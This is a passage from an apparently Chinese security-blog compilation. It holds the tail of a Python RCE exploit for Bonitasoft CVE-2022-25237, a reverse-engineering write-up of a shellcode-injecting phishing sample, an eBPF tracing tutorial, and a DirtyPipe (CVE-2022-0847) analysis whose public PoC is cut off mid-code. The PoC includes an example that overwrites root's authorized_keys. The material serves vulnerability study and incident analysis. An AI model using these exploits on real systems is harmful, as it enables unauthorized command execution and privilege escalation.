]
r = exploit.session.post(req_url, files=files)
exploit.tempPath = r.json()["tempPath"]
def activate_api_extension():
req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"
req_headers = {"Content-Type": "application/json;charset=UTF-8"}
req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}
r = exploit.session.post(req_url, headers=req_headers, json=req_json)
exploit.extension_id = r.json()["id"]
def delete_api_extension():
req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"
exploit.session.delete(req_url)
def run_cmd():
req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"
r = exploit.session.get(req_url)
print(r.json()["out"])
if not try_default_logins():
print("[!] Did not find default creds, trying supplied credentials.")
login()
upload_api_extension()
activate_api_extension()
try:
run_cmd()
except:
delete_api_extension()
delete_api_extension()
执行POC
漏洞修复
建议更新至2022.1-u0以上版本
结束语
本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。
根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。
记一次2022某地HVV中的逆向分析
前言
事情是这样的,国庆前期某地HVV,所以接到了客户通知他们收到了钓鱼邮件想要溯源
直接下载文件逆向分析一波。钓鱼邮件,图标什么的做的还是挺逼真的,还真的挺容易中招的,但是这里的bug也明显,丹尼斯没有客户端,百度一下能够辨别这是钓鱼的。
逆向分析
查壳工具DIE看是否加壳
当然其他查壳工具也可以exeinfope等,看到的东西不一样
可以看到是64位的应用,无壳,IDA静态分析
直接进入主函数,直接F5逆向main函数c代码
主函数中使用的函数比较少
int __cdecl main(int argc, const char **argv, const char **envp)
{
HRSRC ResourceW; // rbx
HGLOBAL Resource; // rbp
signed int v5; // eax
size_t v6; // rsi
size_t v7; // rcx
void *v8; // rdi
ResourceW = FindResourceW(0i64, (LPCWSTR)0x66, L"DATA");
Resource = LoadResource(0i64, ResourceW);
v5 = SizeofResource(0i64, ResourceW);
v6 = v5;
v7 = (unsigned int)(v5 + 1);
if ( v5 == -1 )
v7 = -1i64;
v8 = malloc(v7);
memset(v8, 0, (int)v6 + 1);
memcpy(v8, Resource, v6);
sub_140001070(v8);
return 0;
}
简单来看就是先查找资源,DATA应该为加密的shellcode,加载资源赋
给Resource,计算资源空间大小,malloc分配空间大小,memset 将申请的内存初始化为0,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,跟进sub_140001070
可以看到反汇编之后在第52行创建进程,在56行分配虚拟内存,60行写入内存,61行创建线程,这里创建的线程即为恶意进程。这里使用动态调试x96dbg验证我们的分析另外,需要分析一下外联的地址以及注入的进程是什么,64位的应用使用x64dbg,依次下断点
简单计算一下地址,IDA的起始地址为00000001400015C4
FindResourcew地址为00000001400015C4
在x64dbg中找到起始地址00007FF638B915C4
根据偏移量跳转下断点
F7按步调试
在loadResource函数中追踪内存
这里加载的是DATA的内容,即为加密的shellcode,我们直接用Resouce hacker直接查看一下恶意进程dennis.exe的DATA内容
说明我们的分析没有问题,继续向下调试
因为这个应用比较小,所以代码量也不大,f5反编译之后可以直接找到函数下断点,这里不需要计算偏移量了,计算方法跟上面差不多。
调试走到这里,可以发现走的是循环
可以明显的看到有xor异或指令,这里对shellcode即DATA的内容做异或,异或的对象为byte ptr指向的地址,内存数据为key,那么key的内容为
因为是按字节异或所以这里异或的内存应该为78,整个循环异或的key应该为12345678,shellcode加密的时候应该用的key为12345678加密的,所以这里解密使用key去解密,跳出循环RIP一下,到断点CreateProcessW
可以清晰的看到注入的进程为C:\\windwos\\system32\\svchost.exe,向下调试
申请虚拟空间内存,然后向下为写入内存
解密完成后写入内存,所以在这里是可以看到外联的ip地址或者说是域名的,这里使用的是ip,查询之后发现是某云的服务器。
在向下就是创建进程起服务svchost.exe了
小结
钓鱼使用的服务器ip地址是某云,怕是可以溯源到本人的真实身份了吧,毕竟现在国内运营商都需要实名,如果用的国内域名也都是实名的不管是否有CDN,不过这种级别的HVV也没必要。第一次逆向分析,多亏了大佬指点,步履维艰,如有错误欢迎指出。
linux跟踪技术之ebpf
ebpf简介
eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。 比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。
ebpf追踪
ebpf本质上只是运行在linux 内核中的虚拟机,要发挥其强大的能力还是要跟linux kernel 自带的追踪功能搭配:
kprobe
uprobe
tracepoint
USDT
通常可以通过以下三种工具使用ebpf:
bcc
libbpf
bpftrace
bcc
BCC 是一个用于创建高效内核跟踪和操作程序的工具包,包括几个有用的工具和示例。它利用扩展的 BPF(Berkeley Packet Filters),正式名称为 eBPF,这是 Linux 3.15 中首次添加的新功能。BCC 使用的大部分内容都需要 Linux 4.1 及更高版本。
源码安装bcc v0.25.0
首先clone bcc 源码仓库
git clone https://github.com/iovisor/bcc.git git checkout v0.25.0 git submodule init git submodule update
bcc 从v0.10.0开始使用libbpf 并通过submodule 的形式加入源码树,所以这里需要更新并拉取子模块
安装依赖
apt install flex bison libdebuginfod-dev libclang-14-dev
编译bcc
mkdir build && cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j #n取决于机器的cpu核心数
编译安装完成后,在python3中就能使用bcc模块了 安装bcc时会在/usr/share/bcc目录下安装bcc自带的示例脚本和工具脚本,以及manual 文档 可以直接使用man -M /usr/share/bcc/man <keyword>来查询
使用python + bcc 跟踪内核函数
bcc 自带的工具execsnoop可以跟踪execv系统调用,其源代码如下:
#!/usr/bin/python
# @lint-avoid-python-3-compatibility-imports
#
# execsnoop Trace new processes via exec() syscalls.
# For Linux, uses BCC, eBPF. Embedded C.
#
# USAGE: execsnoop [-h] [-T] [-t] [-x] [-q] [-n NAME] [-l LINE]
# [--max-args MAX_ARGS]
#
# This currently will print up to a maximum of 19 arguments, plus the process
# name, so 20 fields in total (MAXARG).
#
# This won't catch all new processes: an application may fork() but not exec().
#
# Copyright 2016 Netflix, Inc.
# Licensed under the Apache License, Version 2.0 (the "License")
#
# 07-Feb-2016 Brendan Gregg Created this.
from __future__ import print_function
from bcc import BPF
from bcc.containers import filter_by_containers
from bcc.utils import ArgString, printb
import bcc.utils as utils
import argparse
import re
import time
import pwd
from collections import defaultdict
from time import strftime
def parse_uid(user):
try:
result = int(user)
except ValueError:
try:
user_info = pwd.getpwnam(user)
except KeyError:
raise argparse.ArgumentTypeError(
"{0!r} is not valid UID or user entry".format(user))
else:
return user_info.pw_uid
else:
# Maybe validate if UID < 0 ?
return result
# arguments
examples = """examples:
./execsnoop # trace all exec() syscalls
./execsnoop -x # include failed exec()s
./execsnoop -T # include time (HH:MM:SS)
./execsnoop -U # include UID
./execsnoop -u 1000 # only trace UID 1000
./execsnoop -u user # get user UID and trace only them
./execsnoop -t # include timestamps
./execsnoop -q # add "quotemarks" around arguments
./execsnoop -n main # only print command lines containing "main"
./execsnoop -l tpkg # only print command where arguments contains "tpkg"
./execsnoop --cgroupmap mappath # only trace cgroups in this BPF map
./execsnoop --mntnsmap mappath # only trace mount namespaces in the map
"""
parser = argparse.ArgumentParser(
description="Trace exec() syscalls",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=examples)
parser.add_argument("-T", "--time", action="store_true",
help="include time column on output (HH:MM:SS)")
parser.add_argument("-t", "--timestamp", action="store_true",
help="include timestamp on output")
parser.add_argument("-x", "--fails", action="store_true",
help="include failed exec()s")
parser.add_argument("--cgroupmap",
help="trace cgroups in this BPF map only")
parser.add_argument("--mntnsmap",
help="trace mount namespaces in this BPF map only")
parser.add_argument("-u", "--uid", type=parse_uid, metavar='USER',
help="trace this UID only")
parser.add_argument("-q", "--quote", action="store_true",
help="Add quotemarks (\") around arguments."
)
parser.add_argument("-n", "--name",
type=ArgString,
help="only print commands matching this name (regex), any arg")
parser.add_argument("-l", "--line",
type=ArgString,
help="only print commands where arg contains this line (regex)")
parser.add_argument("-U", "--print-uid", action="store_true",
help="print UID column")
parser.add_argument("--max-args", default="20",
help="maximum number of arguments parsed and displayed, defaults to 20")
parser.add_argument("--ebpf", action="store_true",
help=argparse.SUPPRESS)
args = parser.parse_args()
# define BPF program
bpf_text = """
#include <uapi/linux/ptrace.h>
#include <linux/sched.h>
#include <linux/fs.h>
#define ARGSIZE 128
enum event_type {
EVENT_ARG,
EVENT_RET,
};
struct data_t {
u32 pid; // PID as in the userspace term (i.e. task->tgid in kernel)
u32 ppid; // Parent PID as in the userspace term (i.e task->real_parent->tgid in kernel)
u32 uid;
char comm[TASK_COMM_LEN];
enum event_type type;
char argv[ARGSIZE];
int retval;
};
BPF_PERF_OUTPUT(events);
static int __submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data)
{
bpf_probe_read_user(data->argv, sizeof(data->argv), ptr);
events.perf_submit(ctx, data, sizeof(struct data_t));
return 1;
}
static int submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data)
{
const char *argp = NULL;
bpf_probe_read_user(&argp, sizeof(argp), ptr);
if (argp) {
return __submit_arg(ctx, (void *)(argp), data);
}
return 0;
}
int syscall__execve(struct pt_regs *ctx,
const char __user *filename,
const char __user *const __user *__argv,
const char __user *const __user *__envp)
{
u32 uid = bpf_get_current_uid_gid() & 0xffffffff;
UID_FILTER
if (container_should_be_filtered()) {
return 0;
}
// create data here and pass to submit_arg to save stack space (#555)
struct data_t data = {};
struct task_struct *task;
data.pid = bpf_get_current_pid_tgid() >> 32;
task = (struct task_struct *)bpf_get_current_task();
// Some kernels, like Ubuntu 4.13.0-generic, return 0
// as the real_parent->tgid.
// We use the get_ppid function as a fallback in those cases. (#1883)
data.ppid = task->real_parent->tgid;
bpf_get_current_comm(&data.comm, sizeof(data.comm));
data.type = EVENT_ARG;
__submit_arg(ctx, (void *)filename, &data);
// skip first arg, as we submitted filename
#pragma unroll
for (int i = 1; i < MAXARG; i++) {
if (submit_arg(ctx, (void *)&__argv[i], &data) == 0)
goto out;
}
// handle truncated argument list
char ellipsis[] = "...";
__submit_arg(ctx, (void *)ellipsis, &data);
out:
return 0;
}
int do_ret_sys_execve(struct pt_regs *ctx)
{
if (container_should_be_filtered()) {
return 0;
}
struct data_t data = {};
struct task_struct *task;
u32 uid = bpf_get_current_uid_gid() & 0xffffffff;
UID_FILTER
data.pid = bpf_get_current_pid_tgid() >> 32;
data.uid = uid;
task = (struct task_struct *)bpf_get_current_task();
// Some kernels, like Ubuntu 4.13.0-generic, return 0
// as the real_parent->tgid.
// We use the get_ppid function as a fallback in those cases. (#1883)
data.ppid = task->real_parent->tgid;
bpf_get_current_comm(&data.comm, sizeof(data.comm));
data.type = EVENT_RET;
data.retval = PT_REGS_RC(ctx);
events.perf_submit(ctx, &data, sizeof(data));
return 0;
}
"""
bpf_text = bpf_text.replace("MAXARG", args.max_args)
if args.uid:
bpf_text = bpf_text.replace('UID_FILTER',
'if (uid != %s) { return 0; }' % args.uid)
else:
bpf_text = bpf_text.replace('UID_FILTER', '')
bpf_text = filter_by_containers(args) + bpf_text
if args.ebpf:
print(bpf_text)
exit()
# initialize BPF
b = BPF(text=bpf_text)
execve_fnname = b.get_syscall_fnname("execve")
b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve")
b.attach_kretprobe(event=execve_fnname, fn_name="do_ret_sys_execve")
# header
if args.time:
print("%-9s" % ("TIME"), end="")
if args.timestamp:
print("%-8s" % ("TIME(s)"), end="")
if args.print_uid:
print("%-6s" % ("UID"), end="")
print("%-16s %-7s %-7s %3s %s" % ("PCOMM", "PID", "PPID", "RET", "ARGS"))
class EventType(object):
EVENT_ARG = 0
EVENT_RET = 1
start_ts = time.time()
argv = defaultdict(list)
# This is best-effort PPID matching. Short-lived processes may exit
# before we get a chance to read the PPID.
# This is a fallback for when fetching the PPID from task->real_parent->tgip
# returns 0, which happens in some kernel versions.
def get_ppid(pid):
try:
with open("/proc/%d/status" % pid) as status:
for line in status:
if line.startswith("PPid:"):
return int(line.split()[1])
except IOError:
pass
return 0
# process event
def print_event(cpu, data, size):
event = b["events"].event(data)
skip = False
if event.type == EventType.EVENT_ARG:
argv[event.pid].append(event.argv)
elif event.type == EventType.EVENT_RET:
if event.retval != 0 and not args.fails:
skip = True
if args.name and not re.search(bytes(args.name), event.comm):
skip = True
if args.line and not re.search(bytes(args.line),
b' '.join(argv[event.pid])):
skip = True
if args.quote:
argv[event.pid] = [
b"\"" + arg.replace(b"\"", b"\\\"") + b"\""
for arg in argv[event.pid]
]
if not skip:
if args.time:
printb(b"%-9s" % strftime("%H:%M:%S").encode('ascii'), nl="")
if args.timestamp:
printb(b"%-8.3f" % (time.time() - start_ts), nl="")
if args.print_uid:
printb(b"%-6d" % event.uid, nl="")
ppid = event.ppid if event.ppid > 0 else get_ppid(event.pid)
ppid = b"%d" % ppid if ppid > 0 else b"?"
argv_text = b' '.join(argv[event.pid]).replace(b'\n', b'\\n')
printb(b"%-16s %-7d %-7s %3d %s" % (event.comm, event.pid,
ppid, event.retval, argv_text))
try:
del(argv[event.pid])
except Exception:
pass
# loop with callback to print_event
b["events"].open_perf_buffer(print_event)
while 1:
try:
b.perf_buffer_poll()
except KeyboardInterrupt:
exit()
此工具使用kprobe和kretprobe跟踪execv系统调用的进入和退出事件,并将进程名,进程参数,pid,ppid以及返回代码输出到终端
使用python + bcc 跟踪用户函数
bcc中使用uprobe跟踪glibc malloc 函数的工具,并统计malloc 内存的总量。
#!/usr/bin/python
#
# mallocstacks Trace malloc() calls in a process and print the full
# stack trace for all callsites.
# For Linux, uses BCC, eBPF. Embedded C.
#
# This script is a basic example of the new Linux 4.6+ BPF_STACK_TRACE
# table API.
#
# Copyright 2016 GitHub, Inc.
# Licensed under the Apache License, Version 2.0 (the "License")
from __future__ import print_function
from bcc import BPF
from bcc.utils import printb
from time import sleep
import sys
if len(sys.argv) < 2:
print("USAGE: mallocstacks PID [NUM_STACKS=1024]")
exit()
pid = int(sys.argv[1])
if len(sys.argv) == 3:
try:
assert int(sys.argv[2]) > 0, ""
except (ValueError, AssertionError) as e:
print("USAGE: mallocstacks PID [NUM_STACKS=1024]")
print("NUM_STACKS must be a non-zero, positive integer")
exit()
stacks = sys.argv[2]
else:
stacks = "1024"
# load BPF program
b = BPF(text="""
#include <uapi/linux/ptrace.h>
BPF_HASH(calls, int);
BPF_STACK_TRACE(stack_traces, """ + stacks + """);
int alloc_enter(struct pt_regs *ctx, size_t size) {
int key = stack_traces.get_stackid(ctx, BPF_F_USER_STACK);
if (key < 0)
return 0;
// could also use `calls.increment(key, size);`
u64 zero = 0, *val;
val = calls.lookup_or_try_init(&key, &zero);
if (val) {
(*val) += size;
}
return 0;
};
""")
b.attach_uprobe(name="c", sym="malloc", fn_name="alloc_enter", pid=pid)
print("Attaching to malloc in pid %d, Ctrl+C to quit." % pid)
# sleep until Ctrl-C
try:
sleep(99999999)
except KeyboardInterrupt:
pass
calls = b.get_table("calls")
stack_traces = b.get_table("stack_traces")
for k, v in reversed(sorted(calls.items(), key=lambda c: c[1].value)):
print("%d bytes allocated at:" % v.value)
if k.value > 0 :
for addr in stack_traces.walk(k.value):
printb(b"\t%s" % b.sym(addr, pid, show_offset=True))
libbpf
libbpf是linux 源码树中的ebpf 开发包。同时在github上也有独立的代码仓库。 这里推荐使用https://zhuanlan.zhihu.com/write这个项目
libbpf-bootstrap
libbpf-bootstrap是使用 libbpf 和 BPF CO-RE 进行 BPF 应用程序开发的脚手架项目 首先克隆libbpf-bootstrap仓库
git clone https://github.com/libbpf/libbpf-bootstrap.git
然后同步子模块
cd libbpf-bootstrap git submodule init git submodule update
注意,子模块中包含bpftool,bpftool中还有子模块需要同步 在bpftool目录下重复以上步骤
libbpf-bootstrap中包含以下目录
这里进入example/c中,这里包含一些示例工具 直接make编译 等编译完成后,在此目录下会生成可执行文件
先运行一下bootstrap,这里要用root权限运行
bootstrap程序会追踪所有的exec和exit系统调用,每次程序运行时,bootstrap就会输出运行程序的信息。
再看看minimal,这是一个最小ebpf程序。
运行后输出大量信息,最后有提示让我们运行sudo cat /sys/kernel/debug/tracing/trace_pipe来查看输出 运行这个命令
minimal 会追踪所有的write系统调用,并打印出调用write的进程的pid 这里看到pid为11494,ps 查询一下这个进程,发现就是minimal
来看看minimal的源码,这个程序主要有两个C文件组成,minimal.c和minimal.bpf.c前者为此程序的源码,后者为插入内核虚拟机的ebpf代码。
// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
/* Copyright (c) 2020 Facebook */
#include <stdio.h>
#include <unistd.h>
#include <sys/resource.h>
#include <bpf/libbpf.h>
#include "minimal.skel.h"
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
return vfprintf(stderr, format, args);
}
int main(int argc, char **argv)
{
struct minimal_bpf *skel;
int err;
libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
/* Set up libbpf errors and debug info callback */
libbpf_set_print(libbpf_print_fn);
/* Open BPF application */
skel = minimal_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF skeleton\n");
return 1;
}
/* ensure BPF program only handles write() syscalls from our process */
skel->bss->my_pid = getpid();
/* Load & verify BPF programs */
err = minimal_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
/* Attach tracepoint handler */
err = minimal_bpf__attach(skel);
if (err) {
fprintf(stderr, "Failed to attach BPF skeleton\n");
goto cleanup;
}
printf("Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "
"to see output of the BPF programs.\n");
for (;;) {
/* trigger our BPF program */
fprintf(stderr, ".");
sleep(1);
}
cleanup:
minimal_bpf__destroy(skel);
return -err;
}
首先看一下minimal.c的内容,在main函数中首先调用了libbpf_set_strict_mode(LIBBPF_STRICT_ALL);设置为libbpf v1.0模式。此模式下错误代码直接通过函数返回值传递,不再需要检查errno。 之后调用libbpf_set_print(libbpf_print_fn);将程序中一个自定义输出函数设置为调试输出的回调函数,即运行minimal的这些输出全都时通过libbpf_print_fn输出的。
然后在minimal.c:24调用生成的minimal.skel.h中的预定义函数minimal_bpfopen打开bpf程序,这里返回一个minimal_bpf类型的对象(c中使用结构体模拟对象)。 在31行将minimal_bpf对象的bss子对象的my_pid属性设置为当前进程pid 这里minimal_bpf对象和bss都由minimal.bpf.c代码编译而来。minimal.bpf.c经过clang 编译连接,生成minimal.bpf.o,这是一个elf文件,其中包含bss段,这个段内通常储存着minimal.bpf.c中所有经过初始化的变量。 skel->bss->my_pi
接下来看minimal.bpf.c 这是ebpf程序的源码,是要加载到内核中的ebpf虚拟机中运行的,由于在运行在内核中,具有得天独厚的地理位置,可以访问系统中所有资源,再配合上众多的tracepoint,就可以发挥出强大的追踪能力。 下面是minimal.bpf.c的源码
// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause
/* Copyright (c) 2020 Facebook */
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
char LICENSE[] SEC("license") = "Dual BSD/GPL";
int my_pid = 0;
SEC("tp/syscalls/sys_enter_write")
int handle_tp(void *ctx)
{
int pid = bpf_get_current_pid_tgid() >> 32;
if (pid != my_pid)
return 0;
bpf_printk("BPF triggered from PID %d.\n", pid);
return 0;
}
minimal.bpf.c会被clang 编译器编译为ebpf字节码,然后通过bpftool将其转换为minimal.skel.h头文件,以供minimal.c使用。 此代码中定义并初始化了一个全局变量my_pid,经过编译连接后此变量会进入elf文件的bss段中。 然后,代码中定义了一个函数int handle_tp(void *ctx),此函数中通过调用bpf_get_current_pid_tgid() >> 32获取到调用此函数的进程pid
然后比较pid与my_pid的值,如果相同则调用bpf_printk输出"BPF triggered from PID %d\n” 这里由于handle_tp函数是通过SEC宏附加在write系统调用上,所以在调用write()时,handle_tp也会被调用,从而实现追踪系统调用的功能。 SEC宏在bpf程序中处于非常重要的地位。可以参考https://libbpf.readthedocs.io/en/latest/program_types.html SEC宏可以指定ebpf函数附加的点,包括系统调用,静态tracepoint,动态的kprobe和uprobe,以及USDT等等。 Lib
通过llvm-objdump 可以看到编译后的epbf程序文件包含一个以追踪点命名的section
ebpf字节码dump
ebpf程序可以使用llvm-objdump -d dump 出ebpf字节码
bpftrace
bpftrace 提供了一种类似awk 的脚本语言,通过编写脚本,配合bpftrace支持的追踪点,可以实现非常强大的追踪功能
安装
sudo apt-get update sudo apt-get install -y \ bison \ cmake \ flex \ g++ \ git \ libelf-dev \ zlib1g-dev \ libfl-dev \ systemtap-sdt-dev \ binutils-dev \ libcereal-dev \ llvm-12-dev \ llvm-12-runtime \ libclang-12-dev \ clang-12 \ libpcap-dev \ libgtest-dev \ libgmock-dev \ asciidoctor git clone htt
bpftrace命令行参数
# bpftrace
USAGE:
bpftrace [options] filename
bpftrace [options] -e 'program'
OPTIONS:
-B MODE output buffering mode ('line', 'full', or 'none')
-d debug info dry run
-dd verbose debug info dry run
-e 'program' execute this program
-h show this help message
-I DIR add the specified DIR to the search path for include files.
--include FILE adds an implicit #include which is read before the source file is preprocessed.
-l [search] list probes
-p PID enable USDT probes on PID
-c 'CMD' run CMD and enable USDT probes on resulting process
-q keep messages quiet
-v verbose messages
-k emit a warning when a bpf helper returns an error (except read functions)
-kk check all bpf helper functions
--version bpftrace version
ENVIRONMENT:
BPFTRACE_STRLEN [default: 64] bytes on BPF stack per str()
BPFTRACE_NO_CPP_DEMANGLE [default: 0] disable C++ symbol demangling
BPFTRACE_MAP_KEYS_MAX [default: 4096] max keys in a map
BPFTRACE_MAX_PROBES [default: 512] max number of probes bpftrace can attach to
BPFTRACE_MAX_BPF_PROGS [default: 512] max number of generated BPF programs
BPFTRACE_CACHE_USER_SYMBOLS [default: auto] enable user symbol cache
BPFTRACE_VMLINUX [default: none] vmlinux path used for kernel symbol resolution
BPFTRACE_BTF [default: none] BTF file
EXAMPLES:
bpftrace -l '*sleep*'
list probes containing "sleep"
bpftrace -e 'kprobe:do_nanosleep { printf("PID %d sleeping...\n", pid); }'
trace processes calling sleep
bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'
count syscalls by process name
bpftrace程序语法规则
bpftrace语法由以下一个或多个action block结构组成,且语法关键字与c语言类似
probe[,probe]
/predicate/ {
action
}
probe:探针,可以使用bpftrace -l 来查看支持的所有tracepoint和kprobe探针
Predicate(可选):在 / / 中指定 action 执行的条件。如果为True,就执行 action
action:在事件触发时运行的程序,每行语句必须以 ; 结尾,并且用{}包起来
//:单行注释
/**/:多行注释
->:访问c结构体成员,例如:bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }'
struct:结构声明,在bpftrace脚本中可以定义自己的结构
https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#languagebpftrace 单行指令
bpftrace -e 选项可以指定运行一个单行程序 1、追踪openat系统调用
bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }'
2、系统调用计数
bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'
3、计算每秒发生的系统调用数量
bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { print(@); clear(@); }'
bpftrace脚本文件
还可以将bpftrace程序作为一个脚本文件,并且使用shebang#!/usr/local/bin/bpftrace可以使其独立运行 例如:
1 #!/usr/local/bin/bpftrace
2
3 tracepoint:syscalls:sys_enter_nanosleep
4 {
5 printf("%s is sleeping.\n", comm);
6 }
bpftrace探针类型
bpftrace支持以下类型的探针:
kprobe- 内核函数启动
kretprobe- 内核函数返回
uprobe- 用户级功能启动
uretprobe- 用户级函数返回
tracepoint- 内核静态跟踪点
usdt- 用户级静态跟踪点
profile- 定时采样
interval- 定时输出
software- 内核软件事件
hardware- 处理器级事件
DirtyPipe(CVE-2022-0847)漏洞分析
前言
CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。
调试环境
ubuntu 20.04
Linux-5.16.10
qemu-system-x86_64 4.2.1
漏洞验证
首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中
漏洞分析
以poc作为切入点,分析漏洞成因
首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。
...
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
...
在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。
随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在
...
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
...
紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。
...
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
...
在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。
后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。
这里记录一下物理页的地址
最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部
...
nbytes = write(p[1], data, data_size);
...
由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑
最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page中
可以看到buf->page与page地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中
补丁
补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程
总结
DirtyPipe攻击流程
将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位
清空管道缓冲区
使用splice函数获取文件所对应的物理页
使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作
DirtyPipe利用的限制
对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行
由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据)
由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页
完整的poc
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 #39;\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
